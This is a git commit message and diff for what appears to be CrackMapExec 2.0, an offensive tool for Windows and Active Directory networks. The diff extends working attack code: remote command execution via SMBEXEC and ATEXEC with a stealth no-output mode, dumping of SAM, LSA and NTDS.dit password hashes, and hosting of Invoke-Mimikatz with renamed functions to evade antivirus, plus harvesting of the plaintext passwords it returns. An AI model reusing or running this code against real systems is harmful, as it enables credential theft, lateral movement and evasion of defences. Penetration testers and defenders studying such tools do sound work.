Everything is set! \o/

Recap on changes:
Complete refactor, script broken up to make it readable
Kerberos support (!!!! sweeeeet !!!!)
Logging has been overhauled (everything sent to stdout gets logged)
Added a noOutput attr on all three excution methods
Exposed a --no-output option for moar stealth when executing commands
Exposed a --lsa option to dump LSA secrets
Exposed the -history and -pwdLastSet options from secretdump
Fixed passpoldumper
Fixed the NTDS.dit dumper
HTTP/HTTPS server now removes powershell script comments
HTTP/HTTPS server randomizes powershell function names to bypass AV on
windows 10
--session and --luser output has been made decent (resolves #42)

Moar code style changes and bugfixes

TODO:
hook back up ninja and vss NTDS.dit dumping methods
Allow all three execution methods to utilize the smbserver as fallback
to retrieve command output
expose some options to control remote services
main
byt3bl33d3r 2015-11-10 01:57:04 -07:00
parent e84c55dc8c
commit 66dbf87af5
11 changed files with 189 additions and 106 deletions

View File

@ -25,14 +25,15 @@ class EXECUTOR:
elif settings.args.execm == 'smbexec':
smb_exec = SMBEXEC(command,
'{}/SMB'.format(settings.args.port),
settings.args.user,
settings.args.user,
settings.args.passwd,
domain,
settings.args.hash,
settings.args.aesKey,
settings.args.kerb,
'SHARE',
settings.args.share)
settings.args.share,
noOutput)
smb_exec.run(host)
elif settings.args.execm == 'atexec':
@ -42,5 +43,6 @@ class EXECUTOR:
domain,
settings.args.hash,
settings.args.aesKey,
settings.args.kerb)
settings.args.kerb,
noOutput)
atsvc_exec.play(host)

View File

@ -77,7 +77,7 @@ def red(text):
return colored(text, 'red', attrs=['bold'])
def shutdown(exit_code):
print colored("[*] ", 'blue', attrs=['bold']) + "KTHXBYE"
print_status("KTHXBYE")
sys.exit(int(exit_code))
def root_error():

View File

@ -103,7 +103,9 @@ def connect(host):
if settings.args.lsa:
dumper.dump_LSA()
if settings.args.ntds:
dumper.dump_NTDS(settings.args.ntds)
dumper.dump_NTDS(settings.args.ntds,
settings.args.ntds_history,
settings.args.ntds_pwdLastSet)
dumper.cleanup()
if settings.args.pass_pol:

View File

@ -7,7 +7,7 @@ from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from time import strftime
from time import strftime, gmtime
class PassPolDump:
KNOWN_PROTOCOLS = {
@ -18,7 +18,7 @@ class PassPolDump:
def __init__(self, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols:
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
else:
self.__protocols = [protocols]
@ -40,13 +40,29 @@ class PassPolDump:
# Try all requested protocols until one works.
entries = []
for protocol in self.__protocols:
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
self.get_pass_pol(host)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
def convert(self, low, high, no_zero):
@ -83,8 +99,7 @@ class PassPolDump:
time = str(days) + " minute "
return time
def get_pass_pol(self, host):
rpctransport, dce, domainHandle = self.connect(host)
def get_pass_pol(self, host, rpctransport, dce, domainHandle):
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)

View File

@ -1,3 +1,4 @@
import logging
from logger import *
from impacket.dcerpc.v5 import transport, srvs, wkst
from impacket.dcerpc.v5.dtypes import NULL
@ -10,6 +11,7 @@ class RPCQUERY():
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__local_ip = None
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
@ -32,37 +34,45 @@ class RPCQUERY():
elif service == 'srvsvc':
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
return dce, rpctransport
def enum_lusers(self, host):
dce, rpctransport = self.connect(host, 'wkssvc')
users_info = {}
try:
resp = wkst.hNetrWkstaUserEnum(dce, 1)
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
except Exception:
resp = wkst.hNetrWkstaUserEnum(dce, 0)
lusers = resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']
resp = wkst.hNetrWkstaUserEnum(dce, 1)
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
print_succ("{}:{} Logged on users:".format(host, settings.args.port))
for luser in lusers:
for fname in luser.fields.keys():
print_message("{} {}".format(fname, yellow(luser[fname])))
for user in lusers:
print_att('{}\\{} {} {}'.format(user['wkui1_logon_domain'],
user['wkui1_username'],
user['wkui1_logon_server'],
user['wkui1_oth_domains']))
def enum_sessions(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
session_info = {}
level = 502
try:
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
except Exception:
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
level = 0
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
for session in sessions:
for fname in session.fields.keys():
print_message("{} {}".format(fname, yellow(session[fname])))
if level == 502:
if session['sesi502_cname'][:-1] != self.__local_ip:
print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
session['sesi502_username'],
session['sesi502_num_opens'],
session['sesi502_time'],
session['sesi502_idle_time']))
elif level == 0:
if session['sesi0_cname'][:-1] != self.__local_ip:
print_att('\\\\{}'.format(session['sesi0_cname']))
def enum_disks(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
@ -74,4 +84,5 @@ class RPCQUERY():
print_succ("{}:{} Available disks:".format(host, settings.args.port))
for disk in resp['DiskInfoStruct']['Buffer']:
for dname in disk.fields.keys():
print_att(disk[dname])
if disk[dname] != '\x00':
print_att(disk[dname])

View File

@ -29,7 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class TSCH_EXEC:
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False):
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
self.__username = username
self.__password = password
self.__domain = domain
@ -38,6 +38,7 @@ class TSCH_EXEC:
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__command = command
self.__noOutput = noOutput
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
@ -61,8 +62,6 @@ class TSCH_EXEC:
def doStuff(self, rpctransport):
def output_callback(data):
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
print_succ('{} Executed command via ATEXEC'.format(peer))
print_att(data.strip())
dce = rpctransport.get_dce_rpc()
@ -112,11 +111,22 @@ class TSCH_EXEC:
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
<Arguments>/C %s &gt; %%windir%%\\Temp\\%s 2&gt;&amp;1</Arguments>
"""
if self.__noOutput is False:
xml+= """ <Arguments>/C %s &gt; %%windir%%\\Temp\\%s 2&gt;&amp;1</Arguments>
</Exec>
</Actions>
</Task>
""" % (self.__command, tmpFileName)
else:
xml+= """ <Arguments>/C %s</Arguments>
</Exec>
</Actions>
</Task>
""" % (self.__command)
logging.info("Task XML: {}".format(xml))
taskCreated = False
try:
logging.info('Creating task \\%s' % tmpName)
@ -145,26 +155,32 @@ class TSCH_EXEC:
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
smbConnection = rpctransport.get_smb_connection()
waitOnce = True
while True:
try:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
break
except Exception, e:
if str(e).find('SHARING') > 0:
sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
if waitOnce is True:
# We're giving it the chance to flush the file before giving up
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
print_succ('{} Executed command via ATEXEC'.format(peer))
if self.__noOutput is False:
smbConnection = rpctransport.get_smb_connection()
waitOnce = True
while True:
try:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
break
except Exception, e:
if str(e).find('SHARING') > 0:
sleep(3)
waitOnce = False
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
if waitOnce is True:
# We're giving it the chance to flush the file before giving up
sleep(3)
waitOnce = False
else:
raise
else:
raise
else:
raise
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
else:
logging.info('Output retrieval disabled')
dce.disconnect()

View File

@ -1694,7 +1694,7 @@ class NTDSHashes:
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
print answer
print_att(answer)
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
@ -1705,7 +1705,7 @@ class NTDSHashes:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
print answer
print_att(answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
@ -1888,7 +1888,7 @@ class NTDSHashes:
logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
print itemKey
print_att(itemKey)
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
@ -1898,7 +1898,7 @@ class NTDSHashes:
logging.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys():
print itemKey
print_att(itemKey)
# Closing output file
if self.__outputFileName is not None:
@ -1940,14 +1940,14 @@ class DumpSecrets:
self.__securityHive = None #Local
self.__samHive = None #Local
self.__ntdsFile = None #Local
self.__history = False #Might want to expose this
#self.__history = False #Might want to expose this
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = outputFile
self.__doKerberos = kerberos
self.__justDC = False #Might want to expose this
self.__justDCNTLM = False #Might want to expose this
self.__pwdLastSet = False #Might want to expose this
self.__justDCNTLM = True #Might want to expose this
#self.__pwdLastSet = False #Might want to expose this
self.__resumeFileName = None #Might want to expose this
def getBootKey(self):
@ -1998,12 +1998,10 @@ class DumpSecrets:
def do_remote_ops(self):
bootKey = None
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
self.__bootKey = bootKey
def dump_SAM(self):
@ -2035,7 +2033,7 @@ class DumpSecrets:
except Exception, e:
logging.error('LSA hashes extraction failed: %s' % str(e))
def dump_NTDS(self, method):
def dump_NTDS(self, method, history, pwdLastSet):
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
vss = False
if method == 'vss':
@ -2044,17 +2042,18 @@ class DumpSecrets:
else:
NTDSFileName = None
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=True, history=self.__history,
print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName)
try:
self.__NTDSHashes.dump()
except Exception, e:
logging.error(e)
if method != 'vss':
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
logging.info('Something wen\'t wrong with the DRSUAPI approach')
def cleanup(self):
logging.info('Cleaning up... ')

View File

@ -50,8 +50,8 @@ class SMBEXEC:
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, command, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None):
def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
if not protocols:
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
@ -65,6 +65,7 @@ class SMBEXEC:
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__noOutput = noOutput
self.__share = share
self.__mode = mode
self.shell = None
@ -96,7 +97,7 @@ class SMBEXEC:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
self.shell.onecmd(self.__command)
self.shell.finish()
if self.__mode == 'SERVER':
@ -107,7 +108,7 @@ class SMBEXEC:
self.shell.finish()
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
def __init__(self, share, rpc, mode, serviceName, noOutput):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
@ -117,6 +118,7 @@ class RemoteShell(cmd.Cmd):
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__noOutput = noOutput
self.__rpc = rpc
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
@ -127,19 +129,22 @@ class RemoteShell(cmd.Cmd):
logging.critical(str(e))
sys.exit(1)
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
self.do_cd('')
if self.__noOutput is False:
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
self.transferClient = rpc.get_smb_connection()
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
else:
logging.info('Output retrieval disabled')
#self.do_cd('')
def finish(self):
# Just in case the service is still created
@ -188,6 +193,10 @@ class RemoteShell(cmd.Cmd):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output)
@ -198,11 +207,17 @@ class RemoteShell(cmd.Cmd):
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
if self.__noOutput is False:
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
else:
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
logging.info('Command in batch file: {}'.format(command))
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
@ -218,5 +233,6 @@ class RemoteShell(cmd.Cmd):
self.execute_remote(data)
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
print_succ("{} Executed command via SMBEXEC".format(peer))
print_att(self.__outputBuffer.strip())
if self.__noOutput is False:
print_att(self.__outputBuffer.strip())
self.__outputBuffer = ''

View File

@ -10,6 +10,7 @@ import BaseHTTPServer
import ssl
func_name = re.compile('CHANGE_ME_HERE')
comments = re.compile('#.+')
class MimikatzServer(BaseHTTPRequestHandler):
@ -23,6 +24,7 @@ class MimikatzServer(BaseHTTPRequestHandler):
with open('hosted/'+ self.path[4:], 'rb') as script:
ps_script = script.read()
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
ps_script = comments.sub('', ps_script)
self.wfile.write(ps_script)
elif settings.args.path:
@ -43,16 +45,19 @@ class MimikatzServer(BaseHTTPRequestHandler):
data = self.rfile.read(length)
if settings.args.mimikatz:
buf = StringIO(data).readlines()
i = 0
while i < len(buf):
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
passw = buf[i].split(':')[1].strip()
if len(passw) != 719: #Sometimes mimikatz gives long hexstrings instead of clear text passwords
try:
buf = StringIO(data).readlines()
i = 0
while i < len(buf):
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
passw = buf[i].split(':')[1].strip()
domain = buf[i-1].split(':')[1].strip()
user = buf[i-2].split(':')[1].strip()
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
i += 1
i += 1
except Exception as e:
print_error("Error while parsing Mimikatz output: {}".format(e))
elif settings.args.mimi_cmd:
print data

View File

@ -41,7 +41,10 @@ def smart_login(host, smb, domain):
user, passwd = user_pass.split(':')
try:
smb.login(user, passwd, domain, lmhash, nthash)
if settings.args.kerb:
smbConnection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
else:
smb.login(user, passwd, domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
settings.args.user = user
settings.args.passwd = passwd
@ -106,7 +109,10 @@ def smart_login(host, smb, domain):
if user == '': user = "''"
try:
smb.login(user, '', domain, lmhash, nthash)
if settings.args.kerb:
smbConnection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
else:
smb.login(user, '', domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
settings.args.user = user
settings.args.hash = ntlm_hash
@ -122,7 +128,10 @@ def smart_login(host, smb, domain):
if passwd == '': passwd = "''"
try:
smb.login(user, passwd, domain)
if settings.args.kerb:
smbConnection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
else:
smb.login(user, passwd, domain)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
settings.args.user = user
settings.args.passwd = passwd

View File

@ -24,7 +24,7 @@ import sys
import os
VERSION = '2.0'
CODENAME = '\'I have to change the name of this thing\''
CODENAME = '\'I gotta change the name of this thing\''
if sys.platform == 'linux2':
if os.geteuid() is not 0:
@ -39,23 +39,24 @@ parser = argparse.ArgumentParser(description="""
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
Inspired by:
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {}
Inspired by:
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {}
""".format(red('Version'),
yellow(VERSION),
red('Codename'),
yellow(CODENAME)),
formatter_class=RawTextHelpFormatter,
version='2.0 - \'{}\''.format(CODENAME),
version='2.0 - {}'.format(CODENAME),
epilog='There\'s been an awakening... have you felt it?')
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
@ -65,7 +66,7 @@ parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, h
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries")
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)')
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
@ -78,6 +79,8 @@ rgroup = parser.add_argument_group("Credential Gathering", "Options for gatherin
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
@ -181,6 +184,11 @@ if args.combo_file and not os.path.exists(args.combo_file):
print_error('Unable to find combo file at specified path')
shutdown(1)
if args.ntds_history or args.ntds_pwdLastSet:
if not args.ntds:
print_error('--ntds-history and --ntds-pwdLastSet require --ntds')
shutdown(1)
################################################################################################################
def get_targets(target):